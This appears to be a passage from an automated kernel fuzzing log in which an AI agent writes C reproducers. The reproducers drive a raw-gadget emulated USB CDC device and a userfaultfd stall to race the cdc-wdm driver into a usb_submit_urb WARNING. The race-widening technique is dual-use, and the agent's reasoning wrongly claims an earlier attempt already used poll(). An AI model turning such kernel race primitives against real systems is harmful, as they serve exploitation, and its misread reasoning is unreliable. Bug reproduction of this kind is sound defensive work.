2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
Strategy: An analysis of the feedback reveals that the userfaultfd file descriptor was created with the `O_NONBLOCK` flag (which is standard behavior for `setup_uffd()` in the toolkit). Consequently, calling `read()` on it without waiting for it to become readable results in an immediate `-1` return with `errno = EAGAIN`, causing the fault handler thread to exit prematurely.
To fix this, we must use `poll()` to wait for the userfaultfd to become readable before attempting to read the `uffd_msg`.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
void *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
exit(1);
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Previous Reproducer Attempt:
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
Execution Results & Debugging Feedback:
The reproduction attempt failed because the userfaultfd was created with the `O_NONBLOCK` flag, but the fault handler thread attempted to read from it without using `poll()` or `select()` first. As a result, `read()` on the userfaultfd immediately returned `-1` with `errno = EAGAIN` (Resource temporarily unavailable), as seen in the strace output: `read(5, 0x7f97e417e1b0, 32) = -1 EAGAIN`. This caused the fault handler thread to print "read uffd: Resource temporarily unavailable" and exit prematurely, tearing down the process before the main thread could trigger the bug.
To fix this, either remove the `O_NONBLOCK` flag when calling `syscall(__NR_userfaultfd, ...)` (e.g., use only `O_CLOEXEC`), or ensure the fault handler thread uses `poll()` to wait for the userfaultfd to become readable before calling `read()`.
|
| 438/4 |
2026/09/11 23:47 |
llm |
repro-generator |
1m
Model:
Tokens:
input: 13837
output: 4561
thoughts: 5259
Thoughts: **My Thought Process on Generating the C Reproducer**
Alright, so the core task is to generate a C reproducer for this specific bug: `WARNING in service_outstanding_interrupt/usb_submit_urb`. I recall that the previous attempt at creating this reproducer hit a snag. The issue was with how the `setup_uffd()` function was initializing the userfaultfd. It was creating it with the `O_NONBLOCK` flag. Then, the `uffd_thread` was trying to `read()` from it without first checking if it was actually ready using `poll()`. This resulted in `read()` immediately returning `EAGAIN`, causing the thread to exit prematurely.
Now, I see that a corrected C reproducer has been provided. My immediate thought is to verify this provided code. I need to ensure it's complete and, more importantly, that it actually works as intended to trigger the bug.
I'm reviewing the prompt again, and it clearly states: "Strategy: An analysis of the feedback reveals that the userfaultfd file descriptor was created with the `O_NONBLOCK` flag... To fix this, we must use `poll()` to wait for the userfaultfd to become readable before attempting to read the `uffd_msg`. Here is the corrected C reproducer:" and then the code follows.
This confirms that the user *has* provided the corrected code. My next step is to integrate this corrected code using the `set-results` tool and then finalize the output.
However, I'm pausing to double-check the provided code's completeness. I'm looking at the `uffd_thread` function in the user's "corrected" code, specifically where it handles the `read` operation:
```c
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
```
This `poll()` call is exactly what was missing before and is the key fix for the `EAGAIN` issue.
But then I remember the *previous* attempt. That one had a detail about fixing a zero-length array issue by using `struct usb_raw_event_ext` and `struct usb_raw_ep_io_ext`. I notice that the "corrected" code provided by the user seems to have reverted to the older `struct usb_raw_event` with `__u8 data[64]` and `struct usb_raw_ep_io` with `__u8 data[256]`. This makes me wonder if the user's "corrected" code is from an earlier iteration or perhaps just a suggestion that didn't incorporate all the necessary fixes.
Therefore, my strategy now is to take the best of both worlds: I'll merge the `poll()` fix from the user's provided code with the `printf` statements and the `_ext` structs from the previous attempt. This seems like the most robust way to ensure the reproducer is both correct and thorough.
Looking back at the previous attempt's `uffd_thread`, I see this structure:
```c
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
struct pollfd pollfd;
pollfd.fd = uffd;
pollfd.events = POLLIN;
if (poll(&pollfd, 1, -1) < 0) {
perror("poll");
exit(1);
}
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
...
```
This looks good and already includes the `poll()` call. My plan is to incorporate the other necessary components (like the `_ext` structs and detailed `printf`s for tracing) into this structure to create the final, complete reproducer.
After reviewing the provided code and the context, I've decided to integrate the `poll()` fix from the user's provided reproducer with the more detailed `_ext` structs and logging from the prior iteration. This combined approach should result in a comprehensive and functional C reproducer that effectively targets the `WARNING in service_outstanding_interrupt/usb_submit_urb` bug. I am now ready to present this merged code.
|
| 439/4 |
2026/09/11 23:49 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
